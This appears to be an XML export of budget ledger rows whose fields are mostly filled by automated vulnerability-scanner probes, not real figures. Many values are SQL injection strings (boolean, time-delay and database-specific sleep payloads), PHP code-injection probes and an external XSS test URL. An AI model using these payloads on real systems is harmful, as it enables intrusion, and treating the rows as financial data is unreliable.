<row _id="1"><ledger_type>-1' OR 5*5=26 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1" OR 5*5=25 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1" OR 5*5=26 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1' OR 5*5=25 or '9aH34eTE'='</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1' OR 5*5=26 or '9aH34eTE'='</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1" OR 5*5=25 or "VWJSQNUD"="</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1" OR 5*5=26 or "VWJSQNUD"="</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>';print(md5(31337));$a='</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1*if(now()=sysdate(),sleep(15),0)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1) OR 258=(SELECT 258 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1aFNVmzLq' OR 274=(SELECT 274 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1qpuysVSz') OR 811=(SELECT 811 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>@@mvKzQ</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>(select 198766*667891 from DUAL)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>bxss.me/t/xss.html?%00</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMUQ6YUPvHg</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1 OR 5*5=26</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1' OR 5*5=25 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1" OR 5*5=25 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1' OR 5*5=25 or 'WrfLKeNm'='</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1" OR 5*5=25 or "43F0iFjJ"="</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1" OR 5*5=26 or "43F0iFjJ"="</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1*if(now()=sysdate(),sleep(15),0)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1apDj6nct</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1nm75LbSy'; waitfor delay '0:0:15' -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1AY4giZj1')) OR 592=(SELECT 592 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>VDhVMnVhbFI=</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1'"</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1����%2527%2522\'\"</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>(select 198766*667891)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1 OR 5*5=25 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1 OR 5*5=26 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1 OR 5*5=25</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1 OR 5*5=26</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1' OR 5*5=25 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1' OR 5*5=26 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1" OR 5*5=25 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
